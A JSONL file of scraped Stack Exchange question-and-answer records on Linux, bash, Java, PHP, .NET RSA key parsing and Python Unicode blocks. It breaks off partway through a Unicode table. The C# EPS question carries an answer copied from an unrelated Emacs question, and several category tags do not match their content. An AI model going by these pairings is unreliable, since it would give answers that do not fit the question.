{"id": "hf_1474a233761e", "question": "<p>I have an application running only on Windows and a batch file that launches it.\nI want to invoke this batch file from Linux, meaning something like Linux batch will launch the windows batch with parameters and this in its turn run my application.</p>\n\n<p>Can I do that? How?</p>\n", "question_body": "", "answer": "You could install an ssh server in the windows box (Cygwin has one), then from linux do something like:\n```\n```\nssh user@windows-box c:/path/to/batch.cmd\n```\n```\nand that should launch your application in the windows box.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:44.120762"}
{"id": "hf_f960eeb56b2c", "question": "<p>It's not quite a \"programming\" question, but I hope its related closely enough.</p>\n\n<p>Do you know if it is possible to configure the browser in Linux (e.g. Firefox) to use Wine to create ActiveX objects? I would like to handle web pages that use:</p>\n\n<pre><code>var xmlDocument = new ActiveXObject( Msxml2.DOMDocument.4.0 )\n</code></pre>\n\n<p>etc. in Javascript.</p>\n", "question_body": "", "answer": "ActiveXObject is part of the Windows Script host, and not available in Linux unless you can use Wine to install it.\nAs a side issue, the actual ActiveXObject is an instance of a windows application, and not generally available in Linux (especially not the MS Office suite).\nLinks:\nWindows Scripting Host\nWine\nEdit: Had Wine confused with Mono. Fixed now.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:44.292467"}
{"id": "hf_e85eded53e82", "question": "<p>I have sets of 5, 6 and 7 digit numbers. I need them to be displayed in the 000/000/000 format. So for example: </p>\n\n<p>12345 would be displayed as 000/012/345 </p>\n\n<p>and </p>\n\n<p>9876543 would be displayed as 009/876/543</p>\n\n<p>I know how to do this in a messy way, involving a series of if/else statements, and strlen functions, but there has to be a cleaner way involving regex that Im not seeing.</p>\n", "question_body": "", "answer": "sprintf and modulo is one option\n```\n```\nfunction formatMyNumber($num)\n{\n    return sprintf('%03d/%03d/%03d',\n                   $num / 1000000,\n                  ($num / 1000) % 1000,\n                   $num % 1000);\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:44.569254"}
{"id": "hf_b6389e08bfc1", "question": "<p>During execution, how can a java program tell how much memory it is using?</p>\n\n<p>I don't care how efficient it is!</p>\n", "question_body": "", "answer": "If you are have a java1.6 somewhere and your program is running in java 1.4.2, 1.5 or 1.6, you can launch a\nvisualVM session\n, connect to your application, and follow the memory (and much more)\n(The images are not displayed at the moment, so please refers to\nMonitoring an application\nfor an illustration.)", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:44.677652"}
{"id": "hf_7430fa981bfa", "question": "<p>My Program overrides <code>public void paint(Graphics g, int x, int y);</code> in order to draw some stings using <code>g.drawString(someString, x+10, y+30);</code></p>\n\n<p>Now someString can be quite long and thus, it may not fit on one line.<br></p>\n\n<p>What is the best way to write the text on multiple line.<br> For instance, in a rectangle (x1, y1, x2, y2)?</p>\n", "question_body": "", "answer": "java.awt.font.TextLayout\nmight be helpful. Here's a snippet of their example code:\n```\n```\nGraphics2D g = ...;\n   Point2D loc = ...;\n   Font font = Font.getFont(\"Helvetica-bold-italic\");\n   FontRenderContext frc = g.getFontRenderContext();\n   TextLayout layout = new TextLayout(\"This is a string\", font, frc);\n   layout.draw(g, (float)loc.getX(), (float)loc.getY());\n\n   Rectangle2D bounds = layout.getBounds();\n   bounds.setRect(bounds.getX()+loc.getX(),\n                  bounds.getY()+loc.getY(),\n                  bounds.getWidth(),\n                  bounds.getHeight());\n   g.draw(bounds);\n```\n```\nOtherwise you could always use a Swing text element to do the job for you, just pass in the Graphics you want it to paint into.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:44.827491"}
{"id": "hf_198c880d965e", "question": "<p>I have to generate  two random sets of matrices\nEach containing   3 digit numbers   ranging from 2 - 10   </p>\n\n<p>like that</p>\n\n<p>matrix 1:  994,878,129,121</p>\n\n<p>matrix 2:  272,794,378,212</p>\n\n<p>the numbers in both matrices have to be  greater then 100 and  less then  999</p>\n\n<p>BUT</p>\n\n<p>the  mean for both matrices has to be in the ratio  of  1:2  or 2:3  what ever constraint the user inputs </p>\n\n<p>my math skills are kind  of limited so any ideas how do i make this happen?</p>\n", "question_body": "", "answer": "In order to do this, you have to know how many numbers are in each list.  I'm assuming from your example that there are four numbers in each.\nFill the first list with four random numbers.\nCalculate the mean of the first list.\nMultiply the mean by 2 or by 3/2, whichever the user input.  This is the required mean of the second list.\nMultiply by 4.  This is the required total of the second list.\nGenerate 3 random numbers.\nSubtract the total of the three numbers in step 5 from the total in step 4.  This is the fourth number for the second list.\nIf the number in step 6 is not in the correct range, start over from step 5.\nNote that the last number in the second list is not truly random, since it's based on the other values in the list.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:45.016883"}
{"id": "hf_aa3db37cd8ea", "question": "<p>Basically I need to run the script with paths related to the shell script file location, how can I change the current directory to the same directory as where the script file resides?</p>\n", "question_body": "", "answer": "In Bash, you should get what you need like this:\n```\n```\n#!/usr/bin/env bash\n\nBASEDIR=$(dirname \"$0\")\necho \"$BASEDIR\"\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:45.454139"}
{"id": "hf_72c85514cc1c", "question": "<p>I wanna see if there is an approach to pack a few plugins together as a meta plugin that install everything together automatically, works like a project template.</p>\n\n<p>Why not a script? Because I want to put it in github so I don't have to worry about it when I am not with my own PC :) but of coz a script based solution is welcomed too.</p>\n", "question_body": "", "answer": "My solution (ruby script):\n```\n```\nplugins = %w{\n  http://url_to_plugin_1\n  http://url_to_plugin_2\n  http://url_to_plugin_3\n  http://url_to_plugin_4\n  http://url_to_plugin_5\n}\nplugins.each do | p |\n  `ruby script/plugin install -x #{p}`\nend\n```\n```\nrun from project root directory", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:45.555080"}
{"id": "hf_733464120269", "question": "<p>How can I use vimdiff to view the differences described in a diff file?</p>\n", "question_body": "", "answer": "Make a copy of the original file, apply the diff and then\n```\n```\nvimdiff original_file patched_file\n```\n```\nYou could also look at\nvim.org scripts\nwhich have been written to deal with svn diff output. If you are generating your diff from a version control system then take a look at the\nvcscommand.vim : CVS/SVN/SVK/git integration plugin\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:45.683701"}
{"id": "hf_b11ecdf73e6e", "question": "<p>For a load test of my application (under Linux), I'm looking for a tool that outputs data on stdout at a specific rate (like 100 bytes/s), so that I can pipe the output to netcat which sends it to my application. Some option for dd would be ideal, but I didn't find anything so far. It doesn't really matter what kind of data is printed (NUL bytes are OK). Any hints?</p>\n", "question_body": "", "answer": "If you're fine with getting all hundred bytes at a time, you could do a loop with\n```\nsleep\n```\nand plain old\n```\necho\n```\nin the shell as a first attempt at least.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:45.809398"}
{"id": "hf_220297191968", "question": "<p>What is your favorite bug/issue tracking system? And why?</p>\n\n<p>(Please answer this question only if you have used at least three different <a href=\"http://en.wikipedia.org/wiki/Bug_tracking_system\" rel=\"nofollow noreferrer\">bug tracking</a> systems for quite a long time. And please mention these systems as well.)</p>\n", "question_body": "", "answer": "Bugzilla\nis not too bad.\nBugzilla is very adaptable to various situations. Known uses\ncurrently include IT support queues, systems administration\ndeployment management, chip design and development problem\ntracking (both pre-and-post fabrication), and software and\nhardware bug tracking for luminaries such as Red Hat, NASA,\nLinux-Mandrake, and VA Systems. Combined with systems such\nas\nCVS\n, Bonsai, or\nPerforce\nSCM, Bugzilla provides a\npowerful, easy-to-use solution to configuration management\nand replication problems.\nBugzilla can dramatically increase the productivity and\naccountability of individual employees by providing a\ndocumented workflow and positive feedback for good\nperformance. How many times do you wake up in the morning,\nremembering that you were supposed to do something today,\nbut you just can't quite remember? Put it in Bugzilla, and\nyou have a record of it from which you can extrapolate\nmilestones, predict product versions for integration, and\nfollow the discussion trail that led to critical decisions.\nUltimately, Bugzilla puts the power in your hands to improve\nyour value to your employer or business while providing a\nusable framework for your natural attention to detail and\nknowledge store to flourish.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:45.932059"}
{"id": "hf_261041f45fd8", "question": "<p>We are currently having two UI design for internet and intranet the underlying reason being is that they both serve different purpose so they have different UI design.</p>\n\n<p>But however users want to have a more synchronized look and feel between internet and intranet.</p>\n\n<p>What are the reasons you all can think of in have different user interface/outlook for internet and intranet?</p>\n", "question_body": "", "answer": "There may be\nmore information\navailable on intranet.  Also the tone of the message might be targeted differently but you'd want to ask marketer about that. There might be less of a \"sell\" to the intranet.\nOften\nauthentication\nwould be different and even integrated with domain.\nBig difference for intranet is that often you don't need to design to the\nlowest common denomitor\n, i.e. what works across many browsers.  You might even be able to presume other things about the user's environment you would never be able to on the internet, therefore being able to develop against a\nknown target\n.  Example, you might be able to assume every user runs linux, FF 3 and has flash or alternatively windows vista, IE8 and silverlight.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:46.055324"}
{"id": "hf_cbf79edaec77", "question": "<p>Emacs does not recognize my correct Python path. I think it is a general problem with Emacs not recognizing my environment variables. I have GNU Emacs 22.1.1 (i386-apple-darwin8.9.1, Carbon Version 1.6.0) of 2007-06-17 installed.</p>\n\n<p>I have set <code>PYTHONPATH</code> in my <code>~/.bashrc</code>. Maybe I should set it somewhere else?</p>\n", "question_body": "", "answer": "```\n.bashrc\n```\nonly gets read when a shell starts; it won't affect Carbon Emacs. Instead, use\n```\nsetenv\n```\nin your\n```\n.emacs\n```\n:\n```\n```\n(setenv \"PYTHONPATH\" \"PATH_STRING_HERE\")\n```\n```\nYou can set\n```\nPYTHONPATH\n```\nfor the entire Mac OS session, by adding it to\n```\n~/.MacOSX/environment.plist\n```\n(more\nhere\n). You probably don't want to do this unless you have XCode (and its property list editor) installed.\n(\nVia Procrastiblog\n)", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:46.189904"}
{"id": "hf_98a21ac3ee3d", "question": "<p>How can I create EPS files in C#?  Are there any opensource libraries available or do I have to resort to <a href=\"http://www.adobe.com/devnet/postscript/pdfs/5002.EPSF_Spec.pdf\" rel=\"noreferrer\">the spec</a> and do it by hand?</p>\n", "question_body": "", "answer": "```\n.bashrc\n```\nonly gets read when a shell starts; it won't affect Carbon Emacs. Instead, use\n```\nsetenv\n```\nin your\n```\n.emacs\n```\n:\n```\n```\n(setenv \"PYTHONPATH\" \"PATH_STRING_HERE\")\n```\n```\nYou can set\n```\nPYTHONPATH\n```\nfor the entire Mac OS session, by adding it to\n```\n~/.MacOSX/environment.plist\n```\n(more\nhere\n). You probably don't want to do this unless you have XCode (and its property list editor) installed.\n(\nVia Procrastiblog\n)", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:46.320795"}
{"id": "hf_864b67af9b72", "question": "<p>I've got an <code>RSA</code> private key in <code>PEM</code> format, is there a straight forward way to read that from .NET and instantiate an <code>RSACryptoServiceProvider</code> to decrypt data encrypted with the corresponding public key?</p>\n", "question_body": "", "answer": "You might take a look at\nJavaScience's\nsource for\nOpenSSLKey\nThere's code in there that does exactly what you want to do.\nIn fact, they have a lot of crypto source code\navailable here\n.\nSource code snippet:\n```\n```\n//------- Parses binary ans.1 RSA private key; returns RSACryptoServiceProvider  ---\npublic static RSACryptoServiceProvider DecodeRSAPrivateKey(byte[] privkey)\n{\n        byte[] MODULUS, E, D, P, Q, DP, DQ, IQ ;\n\n        // ---------  Set up stream to decode the asn.1 encoded RSA private key  ------\n        MemoryStream  mem = new MemoryStream(privkey) ;\n        BinaryReader binr = new BinaryReader(mem) ;    //wrap Memory Stream with BinaryReader for easy reading\n        byte bt = 0;\n        ushort twobytes = 0;\n        int elems = 0;\n        try {\n                twobytes = binr.ReadUInt16();\n                if (twobytes == 0x8130) //data read as little endian order (actual data order for Sequence is 30 81)\n                        binr.ReadByte();        //advance 1 byte\n                else if (twobytes == 0x8230)\n                        binr.ReadInt16();       //advance 2 bytes\n                else\n                        return null;\n\n                twobytes = binr.ReadUInt16();\n                if (twobytes != 0x0102) //version number\n                        return null;\n                bt = binr.ReadByte();\n                if (bt !=0x00)\n                        return null;\n\n                //------  all private key components are Integer sequences ----\n                elems = GetIntegerSize(binr);\n                MODULUS = binr.ReadBytes(elems);\n\n                elems = GetIntegerSize(binr);\n                E = binr.ReadBytes(elems) ;\n\n                elems = GetIntegerSize(binr);\n                D = binr.ReadBytes(elems) ;\n\n                elems = GetIntegerSize(binr);\n                P = binr.ReadBytes(elems) ;\n\n                elems = GetIntegerSize(binr);\n                Q = binr.ReadBytes(elems) ;\n\n                elems = GetIntegerSize(binr);\n                DP = binr.ReadBytes(elems) ;\n\n                elems = GetIntegerSize(binr);\n                DQ = binr.ReadBytes(elems) ;\n\n                elems = GetIntegerSize(binr);\n                IQ = binr.ReadBytes(elems) ;\n\n                Console.WriteLine(\"showing components ..\");\n                if (verbose) {\n                        showBytes(\"\\nModulus\", MODULUS) ;\n                        showBytes(\"\\nExponent\", E);\n                        showBytes(\"\\nD\", D);\n                        showBytes(\"\\nP\", P);\n                        showBytes(\"\\nQ\", Q);\n                        showBytes(\"\\nDP\", DP);\n                        showBytes(\"\\nDQ\", DQ);\n                        showBytes(\"\\nIQ\", IQ);\n                }\n\n                // ------- create RSACryptoServiceProvider instance and initialize with public key -----\n                RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();\n                RSAParameters RSAparams = new RSAParameters();\n                RSAparams.Modulus =MODULUS;\n                RSAparams.Exponent = E;\n                RSAparams.D = D;\n                RSAparams.P = P;\n                RSAparams.Q = Q;\n                RSAparams.DP = DP;\n                RSAparams.DQ = DQ;\n                RSAparams.InverseQ = IQ;\n                RSA.ImportParameters(RSAparams);\n                return RSA;\n        }\n        catch (Exception) {\n                return null;\n        }\n        finally {\n                binr.Close();\n        }\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:46.469442"}
{"id": "hf_7d00494ccd1a", "question": "<p>Is there a way to get the Unicode Block of a character in python? The <a href=\"http://www.python.org/doc/2.5.2/lib/module-unicodedata.html\" rel=\"noreferrer\">unicodedata</a> module doesn't seem to have what I need, and I couldn't find an external library for it.</p>\n\n<p>Basically, I need the same functionality as <a href=\"http://java.sun.com/javase/6/docs/api/java/lang/Character.UnicodeBlock.html#of(char)\" rel=\"noreferrer\"><code>Character.UnicodeBlock.of()</code></a> in java.</p>\n", "question_body": "", "answer": "I couldn't find one either.  Strange!\nLuckily, the number of Unicode blocks is quite manageably small.\nThis implementation accepts a one-character Unicode string, just like the functions in\n```\nunicodedata\n```\n.  If your inputs are mostly ASCII, this linear search might even be faster than binary search using\n```\nbisect\n```\nor whatever.  If I were submitting this for inclusion in the Python standard library, I'd probably write it as a binary search through an array of statically-initialized\n```\nstruct\n```\ns in C.\n```\n```\ndef block(ch):\n  '''\n  Return the Unicode block name for ch, or None if ch has no block.\n\n  >>> block(u'a')\n  'Basic Latin'\n  >>> block(unichr(0x0b80))\n  'Tamil'\n  >>> block(unichr(0xe0080))\n\n  '''\n\n  assert isinstance(ch, unicode) and len(ch) == 1, repr(ch)\n  cp = ord(ch)\n  for start, end, name in _blocks:\n    if start <= cp <= end:\n      return name\n\ndef _initBlocks(text):\n  global _blocks\n  _blocks = []\n  import re\n  pattern = re.compile(r'([0-9A-F]+)\\.\\.([0-9A-F]+);\\ (\\S.*\\S)')\n  for line in text.splitlines():\n    m = pattern.match(line)\n    if m:\n      start, end, name = m.groups()\n      _blocks.append((int(start, 16), int(end, 16), name))\n\n# retrieved from http://unicode.org/Public/UNIDATA/Blocks.txt\n_initBlocks('''\n# Blocks-12.0.0.txt\n# Date: 2018-07-30, 19:40:00 GMT [KW]\n# © 2018 Unicode®, Inc.\n# For terms of use, see http://www.unicode.org/terms_of_use.html\n#\n# Unicode Character Database\n# For documentation, see http://www.unicode.org/reports/tr44/\n#\n# Format:\n# Start Code..End Code; Block Name\n\n# ================================================\n\n# Note:   When comparing block names, casing, whitespace, hyphens,\n#         and underbars are ignored.\n#         For example, \"Latin Extended-A\" and \"latin extended a\" are equivalent.\n#         For more information on the comparison of property values,\n#            see UAX #44: http://www.unicode.org/reports/tr44/\n#\n#  All block ranges start with a value where (cp MOD 16) = 0,\n#  and end with a value where (cp MOD 16) = 15. In other words,\n#  the last hexadecimal digit of the start of range is ...0\n#  and the last hexadecimal digit of the end of range is ...F.\n#  This constraint on block ranges guarantees that allocations\n#  are done in terms of whole columns, and that code chart display\n#  never involves splitting columns in the charts.\n#\n#  All code points not explicitly listed for Block\n#  have the value No_Block.\n\n# Property: Block\n#\n# @missing: 0000..10FFFF; No_Block\n\n0000..007F; Basic Latin\n0080..00FF; Latin-1 Supplement\n0100..017F; Latin Extended-A\n0180..024F; Latin Extended-B\n0250..02AF; IPA Extensions\n02B0..02FF; Spacing Modifier Letters\n0300..036F; Combining Diacritical Marks\n0370..03FF; Greek and Coptic\n0400..04FF; Cyrillic\n0500..052F; Cyrillic Supplement\n0530..058F; Armenian\n0590..05FF; Hebrew\n0600..06FF; Arabic\n0700..074F; Syriac\n0750..077F; Arabic Supplement\n0780..07BF; Thaana\n07C0..07FF; NKo\n0800..083F; Samaritan\n0840..085F; Mandaic\n0860..086F; Syriac Supplement\n08A0..08FF; Arabic Extended-A\n0900..097F; Devanagari\n0980..09FF; Bengali\n0A00..0A7F; Gurmukhi\n0A80..0AFF; Gujarati\n0B00..0B7F; Oriya\n0B80..0BFF; Tamil\n0C00..0C7F; Telugu\n0C80..0CFF; Kannada\n0D00..0D7F; Malayalam\n0D80..0DFF; Sinhala\n0E00..0E7F; Thai\n0E80..0EFF; Lao\n0F00..0FFF; Tibetan\n1000..109F; Myanmar\n10A0..10FF; Georgian\n1100..11FF; Hangul Jamo\n1200..137F; Ethiopic\n1380..139F; Ethiopic Supplement\n13A0..13FF; Cherokee\n1400..167F; Unified Canadian Aboriginal Syllabics\n1680..169F; Ogham\n16A0..16FF; Runic\n1700..171F; Tagalog\n1720..173F; Hanunoo\n1740..175F; Buhid\n1760..177F; Tagbanwa\n1780..17FF; Khmer\n1800..18AF; Mongolian\n18B0..18FF; Unified Canadian Aboriginal Syllabics Extended\n1900..194F; Limbu\n1950..197F; Tai Le\n1980..19DF; New Tai Lue\n19E0..19FF; Khmer Symbols\n1A00..1A1F; Buginese\n1A20..1AAF; Tai Tham\n1AB0..1AFF; Combining Diacritical Marks Extended\n1B00..1B7F; Balinese\n1B80..1BBF; Sundanese\n1BC0..1BFF; Batak\n1C00..1C4F; Lepcha\n1C50..1C7F; Ol Chiki\n1C80..1C8F; Cyrillic Extended-C\n1C90..1CBF; Georgian Extended\n1CC0..1CCF; Sundanese Supplement\n1CD0..1CFF; Vedic Extensions\n1D00..1D7F; Phonetic Extensions\n1D80..1DBF; Phonetic Extensions Supplement\n1DC0..1DFF; Combining Diacritical Marks Supplement\n1E00..1EFF; Latin Extended Additional\n1F00..1FFF; Greek Extended\n2000..206F; General Punctuation\n2070..209F; Superscripts and Subscripts\n20A0..20CF; Currency Symbols\n20D0..20FF; Combining Diacritical Marks for Symbols\n2100..214F; Letterlike Symbols\n2150..218F; Number Forms\n2190..21FF; Arrows\n2200..22FF; Mathematical Operators\n2300..23FF; Miscellaneous Technical\n2400..243F; Control Pictures\n2440..245F; Optical Character Recognition\n2460..24FF; Enclosed Alphanumerics\n2500..257F; Box Drawing\n2580..259F; Block Elements\n25A0..25FF; Geometric Shapes\n2600..26FF; Miscellaneous Symbols\n2700..27BF; Dingbats\n27C0..27EF; Miscellaneous Mathematical Symbols-A\n27F0..27FF; Supplemental Arrows-A\n2800..28FF; Braille Patterns\n2900..297F; Supplemental Arrows-B\n2980..29FF; Miscellaneous Mathematical Symbols-B\n2A00..2AFF; Supplemental Mathematical Operators\n2B00..2BFF; Miscellaneous Symbols and Arrows\n2C00..2C5F; Glagolitic\n2C60..2C7F; Latin Extended-C\n2C80..2CFF; Coptic\n2D00..2D2F; Georgian Supplement\n2D30..2D7F; Tifinagh\n2D80..2DDF; Ethiopic Extended\n2DE0..2DFF; Cyrillic Extended-A\n2E00..2E7F; Supplemental Punctuation\n2E80..2EFF; CJK Radicals Supplement\n2F00..2FDF; Kangxi Radicals\n2FF0..2FFF; Ideographic Description Characters\n3000..303F; CJK Symbols and Punctuation\n3040..309F; Hiragana\n30A0..30FF; Katakana\n3100..312F; Bopomofo\n3130..318F; Hangul Compatibility Jamo\n3190..319F; Kanbun\n31A0..31BF; Bopomofo Extended\n31C0..31EF; CJK Strokes\n31F0..31FF; Katakana Phonetic Extensions\n3200..32FF; Enclosed CJK Letters and Months\n3300..33FF; CJK Compatibility\n3400..4DBF; CJK Unified Ideographs Extension A\n4DC0..4DFF; Yijing Hexagram Symbols\n4E00..9FFF; CJK Unified Ideographs\nA000..A48F; Yi Syllables\nA490..A4CF; Yi Radicals\nA4D0..A4FF; Lisu\nA500..A63F; Vai\nA640..A69F; Cyrillic Extended-B\nA6A0..A6FF; Bamum\nA700..A71F; Modifier Tone Letters\nA720..A7FF; Latin Extended-D\nA800..A82F; Syloti Nagri\nA830..A83F; Common Indic Number Forms\nA840..A87F; Phags-pa\nA880..A8DF; Saurashtra\nA8E0..A8FF; Devanagari Extended\nA900..A92F; Kayah Li\nA930..A95F; Rejang\nA960..A97F; Hangul Jamo Extended-A\nA980..A9DF; Javanese\nA9E0..A9FF; Myanmar Extended-B\nAA00..AA5F; Cham\nAA60..AA7F; Myanmar Extended-A\nAA80..AADF; Tai Viet\nAAE0..AAFF; Meetei Mayek Extensions\nAB00..AB2F; Ethiopic Extended-A\nAB30..AB6F; Latin Extended-E\nAB70..ABBF; Cherokee Supplement\nABC0..ABFF; Meetei Mayek\nAC00..D7AF; Hangul Syllables\nD7B0..D7FF; Hangul Jamo Extended-B\nD800..DB7F; High Surrogates\nDB80..DBFF; High Private Use Surrogates\nDC00..DFFF; Low Surrogates\nE000..F8FF; Private Use Area\nF900..FAFF; CJK Compatibility Ideographs\nFB00..FB4F; Alphabetic Presentation Forms\nFB50..FDFF; Arabic Presentation Forms-A\nFE00..FE0F; Variation Selectors\nFE10..FE1F; Vertical Forms\nFE20..FE2F; Combining Half Marks\nFE30..FE4F; CJK Compatibility Forms\nFE50..FE6F; Small Form Variants\nFE70..FEFF; Arabic Presentation Forms-B\nFF00..FFEF; Halfwidth and Fullwidth Forms\nFFF0..FFFF; Specials\n10000..1007F; Linear B Syllabary\n10080..100FF; Linear B Ideograms\n10100..1013F; Aegean Numbers\n10140..1018F; Ancient Greek Numbers\n10190..101CF; Ancient Symbols\n101D0..101FF; Phaistos Disc\n10280..1029F; Lycian\n102A0..102DF; Carian\n102E0..102FF; Coptic Epact Numbers\n10300..1032F; Old Italic\n10330..1034F; Gothic\n10350..1037F; Old Permic\n10380..1039F; Ugaritic\n103A0..103DF; Old Persian\n10400..1044F; Deseret\n10450..1047F; Shavian\n10480..104AF; Osmanya\n104B0..104FF; Osage\n10500..1052F; Elbasan\n10530..1056F; Caucasian Albanian\n10600..1077F; Linear A\n10800..1083F; Cypriot Syllabary\n10840..1085F; Imperial Aramaic\n10860..1087F; Palmyrene\n10880..108AF; Nabataean\n108E0..108FF; Hatran\n10900..1091F; Phoenician\n10920..1093F; Lydian\n10980..1099F; Meroitic Hieroglyphs\n109A0..109FF; Meroitic Cursive\n10A00..10A5F; Kharoshthi\n10A60..10A7F; Old South Arabian\n10A80..10A9F; Old North Arabian\n10AC0..10AFF; Manichaean\n10B00..10B3F; Avestan\n10B40..10B5F; Inscriptional Parthian\n10B60..10B7F; Inscriptional Pahlavi\n10B80..10BAF; Psalter Pahlavi\n10C00..10C4F; Old Turkic\n10C80..10CFF; Old Hungarian\n10D00..10D3F; Hanifi Rohingya\n10E60..10E7F; Rumi Numeral Symbols\n10F00..10F2F; Old Sogdian\n10F30..10F6F; Sogdian\n10FE0..10FFF; Elymaic\n11000..1107F; Brahmi\n11080..110CF; Kaithi\n110D0..110FF; Sora Sompeng\n11100..1114F; Chakma\n11150..1117F; Mahajani\n11180..111DF; Sharada\n111E0..111FF; Sinhala Archaic Numbers\n11200..1124F; Khojki\n11280..112AF; Multani\n112B0..112FF; Khudawadi\n11300..1137F; Grantha\n11400..1147F; Newa\n11480..114DF; Tirhuta\n11580..115FF; Siddham\n11600..1165F; Modi\n11660..1167F; Mongolian Supplement\n11680..116CF; Takri\n11700..1173F; Ahom\n11800..1184F; Dogra\n118A0..118FF; Warang Citi\n119A0..119FF; Nandinagari\n11A00..11A4F; Zanabazar Square\n11A50..11AAF; Soyombo\n11AC0..11AFF; Pau Cin Hau\n11C00..11C6F; Bhaiksuki\n11C70..11CBF; Marchen\n11D00..11D5F; Masaram Gondi\n11D60..11DAF; Gunjala Gondi\n11EE0..11EFF; Makasar\n11FC0..11FFF; Tamil Supplement\n12000..123FF; Cuneiform\n12400..1247F; Cuneiform Numbers and Punctuation\n12480..1254F; Early Dynastic Cuneiform\n13000..1342F; Egyptian Hieroglyphs\n13430..1343F; Egyptian Hieroglyph Format Controls\n14400..1467F; Anatolian Hieroglyphs\n16800..16A3F; Bamum Supplement\n16A40..16A6F; Mro\n16AD0..16AFF; Bassa Vah\n16B00..16B8F; Pahawh Hmong\n16E40..16E9F; Medefaidrin\n16F00..16F9F; Miao\n16FE0..16FFF; Ideographic Symbols and Punctuation\n17000..187FF; Tangut\n18800..18AFF; Tangut Components\n1B000..1B0FF; Kana Supplement\n1B100..1B12F; Kana Extended-A\n1B130..1B16F; Small Kana Extension\n1B170..1B2FF; Nushu\n1BC00..1BC9F; Duployan\n1BCA0..1BCAF; Shorthand Format Controls\n1D000..1D0FF; Byzantine Musical Symbols\n1D100..1D1FF; Musical Symbols\n1D200..1D24F; Ancient Greek Musical Notation\n1D2E0..1D2FF; Mayan Numerals\n1D300..1D35F; Tai Xuan Jing Symbols\n1D360..1D37F; Counting Rod Numerals\n1D400..1D7FF; Mathematical Alphanumeric Symbols\n1D800..1DAAF; Sutton SignWriting\n1E000..1E02F; Glagolitic Supplement\n1E100..1E14F; Nyiakeng Puachue Hmong\n1E2C0..1E2FF; Wancho\n1E800..1E8DF; Mende Kikakui\n1E900..1E95F; Adlam\n1EC70..1ECBF; Indic Siyaq Numbers\n1ED00..1ED4F; Ottoman Siyaq Numbers\n1EE00..1EEFF; Arabic Mathematical Alphabetic Symbols\n1F000..1F02F; Mahjong Tiles\n1F030..1F09F; Domino Tiles\n1F0A0..1F0FF; Playing Cards\n1F100..1F1FF; Enclosed Alphanumeric Supplement\n1F200..1F2FF; Enclosed Ideographic Supplement\n1F300..1F5FF; Miscellaneous Symbols and Pictographs\n1F600..1F64F; Emoticons\n1F650..1F67F; Ornamental Dingbats\n1F680..1F6FF; Transport and Map Symbols\n1F700..1F77F; Alchemical Symbols\n1F780..1F7FF; Geometric Shapes Extended\n1F800..1F8FF; Supplemental Arrows-C\n1F900..1F9FF; Supplemental Symbols and Pictographs\n1FA00..1FA6F; Chess Symbols\n1FA70..1FAFF; Symbols and Pictographs Extended-A\n20000..2A6DF; CJK Unified Ideographs Extension 